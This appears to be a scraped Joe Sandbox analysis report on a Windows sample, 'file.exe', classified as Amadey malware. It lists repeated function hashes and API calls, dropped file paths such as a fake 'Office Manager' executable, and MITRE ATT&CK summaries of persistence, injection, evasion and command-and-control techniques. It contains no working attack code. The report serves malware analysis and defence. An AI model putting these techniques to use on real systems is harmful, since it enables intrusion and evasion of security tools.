Opcode ID: 325f7d0f12ad974dd96fce0f76f79e3cdb25c5ceac6aafcc04b275fa0cc654a5
Instruction ID: 8968190392a3dd237edfa444b85a605647e1f5951998bd265e2539d56d789e39
Opcode Fuzzy Hash: 325f7d0f12ad974dd96fce0f76f79e3cdb25c5ceac6aafcc04b275fa0cc654a5
Instruction Fuzzy Hash: 0EF0B235900108EFC7148FA4EC4CB6E77B9F749302F848D3EA4016A5B4C7789985DB8C

Function 020E322B Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(0048BB70), ref: 020E33C4
LocalFree.KERNEL32(0048BB6C), ref: 020E33D9
CloseHandle.KERNEL32(00000000), ref: 020E33E9
CloseHandle.KERNEL32(00000000), ref: 020E33F9

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 325f7d0f12ad974dd96fce0f76f79e3cdb25c5ceac6aafcc04b275fa0cc654a5
Instruction ID: b7e0dd4ad5cfb2e8dc58dd7ce453b0be6841f8513bad482ffb3584fb66e0ad0a
Opcode Fuzzy Hash: 325f7d0f12ad974dd96fce0f76f79e3cdb25c5ceac6aafcc04b275fa0cc654a5
Instruction Fuzzy Hash: CBF0DA35900208DFCB559BA5DC88B7E77B5FB84306F448D6DA402460B4CB745885DB98

Function 020E32AC Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(0048BB70), ref: 020E33C4
LocalFree.KERNEL32(0048BB6C), ref: 020E33D9
CloseHandle.KERNEL32(00000000), ref: 020E33E9
CloseHandle.KERNEL32(00000000), ref: 020E33F9

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 4893e00a8415f3a8512f96bcecda7dd8a986f612ae40bc7c29a326bc4cbc6071
Instruction ID: b7e0dd4ad5cfb2e8dc58dd7ce453b0be6841f8513bad482ffb3584fb66e0ad0a
Opcode Fuzzy Hash: 4893e00a8415f3a8512f96bcecda7dd8a986f612ae40bc7c29a326bc4cbc6071
Instruction Fuzzy Hash: CBF0DA35900208DFCB559BA5DC88B7E77B5FB84306F448D6DA402460B4CB745885DB98

Function 020E32F8 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(0048BB70), ref: 020E33C4
LocalFree.KERNEL32(0048BB6C), ref: 020E33D9
CloseHandle.KERNEL32(00000000), ref: 020E33E9
CloseHandle.KERNEL32(00000000), ref: 020E33F9

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: b88df5224029b324f3e6405b891f5eeb7b7fa4be3cd6a7a1325879fd0b73d48b
Instruction ID: b7e0dd4ad5cfb2e8dc58dd7ce453b0be6841f8513bad482ffb3584fb66e0ad0a
Opcode Fuzzy Hash: b88df5224029b324f3e6405b891f5eeb7b7fa4be3cd6a7a1325879fd0b73d48b
Instruction Fuzzy Hash: CBF0DA35900208DFCB559BA5DC88B7E77B5FB84306F448D6DA402460B4CB745885DB98

Function 020E3317 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(0048BB70), ref: 020E33C4
LocalFree.KERNEL32(0048BB6C), ref: 020E33D9
CloseHandle.KERNEL32(00000000), ref: 020E33E9
CloseHandle.KERNEL32(00000000), ref: 020E33F9

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: b04c9bc6a2283bc3baae824483493202562117e538909078ca9630fb78bc881d
Instruction ID: b7e0dd4ad5cfb2e8dc58dd7ce453b0be6841f8513bad482ffb3584fb66e0ad0a
Opcode Fuzzy Hash: b04c9bc6a2283bc3baae824483493202562117e538909078ca9630fb78bc881d
Instruction Fuzzy Hash: CBF0DA35900208DFCB559BA5DC88B7E77B5FB84306F448D6DA402460B4CB745885DB98

Function 020E3333 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(0048BB70), ref: 020E33C4
LocalFree.KERNEL32(0048BB6C), ref: 020E33D9
CloseHandle.KERNEL32(00000000), ref: 020E33E9
CloseHandle.KERNEL32(00000000), ref: 020E33F9

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 1cc33674b041401249191409a24890eabb2b2afe33b8cabf0a9957af081e3bab
Instruction ID: b7e0dd4ad5cfb2e8dc58dd7ce453b0be6841f8513bad482ffb3584fb66e0ad0a
Opcode Fuzzy Hash: 1cc33674b041401249191409a24890eabb2b2afe33b8cabf0a9957af081e3bab
Instruction Fuzzy Hash: CBF0DA35900208DFCB559BA5DC88B7E77B5FB84306F448D6DA402460B4CB745885DB98

Function 020E335A Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(0048BB70), ref: 020E33C4
LocalFree.KERNEL32(0048BB6C), ref: 020E33D9
CloseHandle.KERNEL32(00000000), ref: 020E33E9
CloseHandle.KERNEL32(00000000), ref: 020E33F9

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: c57726ad950d320b29a64ac756ff88ba81a3d81b80338233e257be92d0cc95dc
Instruction ID: b7e0dd4ad5cfb2e8dc58dd7ce453b0be6841f8513bad482ffb3584fb66e0ad0a
Opcode Fuzzy Hash: c57726ad950d320b29a64ac756ff88ba81a3d81b80338233e257be92d0cc95dc
Instruction Fuzzy Hash: CBF0DA35900208DFCB559BA5DC88B7E77B5FB84306F448D6DA402460B4CB745885DB98

Function 020E30B1 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(0048BB70), ref: 020E33C4
LocalFree.KERNEL32(0048BB6C), ref: 020E33D9
CloseHandle.KERNEL32(00000000), ref: 020E33E9
CloseHandle.KERNEL32(00000000), ref: 020E33F9

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 932c69cbf27a40c75385cfa47e3e5d3d2483859a6980817038ecca563e8b2b4e
Instruction ID: b7e0dd4ad5cfb2e8dc58dd7ce453b0be6841f8513bad482ffb3584fb66e0ad0a
Opcode Fuzzy Hash: 932c69cbf27a40c75385cfa47e3e5d3d2483859a6980817038ecca563e8b2b4e
Instruction Fuzzy Hash: CBF0DA35900208DFCB559BA5DC88B7E77B5FB84306F448D6DA402460B4CB745885DB98

Function 020E30CE Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(0048BB70), ref: 020E33C4
LocalFree.KERNEL32(0048BB6C), ref: 020E33D9
CloseHandle.KERNEL32(00000000), ref: 020E33E9
CloseHandle.KERNEL32(00000000), ref: 020E33F9

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 547fb848b9ab195541daa80d6e9339ca90878f694ec7de6167d8396fc3a5609a
Instruction ID: b7e0dd4ad5cfb2e8dc58dd7ce453b0be6841f8513bad482ffb3584fb66e0ad0a
Opcode Fuzzy Hash: 547fb848b9ab195541daa80d6e9339ca90878f694ec7de6167d8396fc3a5609a
Instruction Fuzzy Hash: CBF0DA35900208DFCB559BA5DC88B7E77B5FB84306F448D6DA402460B4CB745885DB98

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_stub4141_2024-10_59dfdadaae31e7504e5414817b2664c1c1f63a7_74390ce0_0c883852-1c5c-4b59-98df-0b04b69a9b95\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1CB3.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D60.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D9F.tmp.xml

C:\ProgramData\Office Manager\Application.exe

C:\ProgramData\Office Manager\Application.exe:Zone.Identifier

C:\ProgramData\psh\lcs

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Application.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\stub4141_2024-10-16_10-48[1].exe

Windows Analysis Report
file.exe

Function 02D74AE0 Relevance: 2.8, Strings: 2, Instructions: 304
COMMON

Function 0C6639D0 Relevance: .9, Instructions: 853
COMMON

Function 0C666460 Relevance: .7, Instructions: 688
COMMON

Function 0C6628FD Relevance: .3, Instructions: 289
COMMON

Function 02D75CED Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Function 02D74248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre